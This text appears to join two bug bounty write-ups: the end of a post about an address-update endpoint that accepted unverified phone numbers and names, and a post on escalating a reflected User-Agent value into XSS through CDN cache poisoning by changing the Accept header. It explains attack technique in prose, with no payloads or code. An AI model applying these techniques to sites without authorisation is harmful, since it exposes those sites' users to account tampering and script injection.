While hunting keep in mind that you should click on any functionality, navigate to every part of application. In my case I found an endpoint which was responsible to update users’ address. Investigating the Request, I noticed there are first_name, last_name , phone_number fields. While changing them from null to a random value, I got the 200 OK, response with applied changes. I should say that, there was no functionality to change our names so, it was one impact. but the real impact was that we could enter our number without verifying it (by OTP). I wrote a report and it was accepted as a medium severity vulnerability. Bellow I attach the request.

I have already found an Open Redirect on this app, but i have not reported it yet. because it is out of scope. The good news is, “the application is being updated” (according to its help section). So, I am monitoring it regularly to see if there is a new functionality or not.

Final Words

Do not waste your time finding subdomains. just focus on main applications. So I hope you find it insightful. Be Happy, Be Nice.

See ya :)

Hi everyone,

This is my very first write-up in my bug bounty journey, which began in January 2023.

Let me introduce myself: I’m Ali Hussainzada, a 21-year-old senior Computer Science student and part-time bug hunter, known online by the pseudonym Amir Shah.

This write-up details an XSS vulnerability I discovered in collaboration with my friend Saboor Hakimie. He recently earned his CPTS certification from HTB—congratulations to him!

The Bug

Without further ado, let’s dive into the vulnerability.

I was invited to a private program on HackerOne, which we’ll refer to as company.com. After discovering a one-click account takeover and some informative bugs :), I decided to explore subdomains. I generally start with the main apps, then I focuse on subdomains.

I identified a subdomain, sub.company.com, where the response code was not 200 OK. Despite this, I performed fuzzing to find a directory. I discovered a path that returned our User-Agent and IP address (/home/info). By proxying the request through Burp Suite and modifying my User-Agent, I observed that the changed User-Agent was reflected in the response. However, I encountered two issues:

1. The response was text/plain, meaning that if we injected an XSS payload, it would not execute.

2. The injected text was self-reflected, which limited its impact. we had to find a way to deliver it to victims.

Noting that the subdomain was behind a CDN, I considered the possibility of cache poisoning. I modified the endpoint to a cacheable request by adding a static extension like .js, resulting in a request such as sub.company.com/home/info/something.js This solved the first challenge, but I still needed to escalate to something more severe, like XSS.

Here’s where my friend stepped in. During a call, he asked about the HTTP request header needed to alter the response. Without waiting for my response (I did not know though), he changed the Accept header to text/html (i.e., Accept: text/html). To our surprise, the response was transformed into HTML, enabled us to inject our payload and get XSS.

Below, I’ve attached a screenshot of the original report with step-by-step reproduction details, so you can thoroughly understand the bug.

Bounty

The bug has been fixed, and I received a $1,250 reward. We split the bounty, but the company has not yet paid Saboor his portion. The original payout is $2,500, and we've been waiting since March.

Takeaway

The key takeaway here is that we can sometimes change the response (a tip I recently came across in the API Hacking book). At that time, this was new to me, but I hope you all find it helpful.

Best

I hope you enjoyed and learned something new from this article I look forward to seeing your happiness and success, so please send your positive vibes my way. :)

Thanks for reading, sharing and everything that I don't know.

What’s next? Who knows? But, i decided to write more about my findings :)

Oh, I found a similar issue on a subdomain where I can inject my payload into the User-Agent, but it’s self-reflected and i was not able to cache it, If anyone has any ideas or wants to collaborate, feel free to DM me on Twitter
My Twitter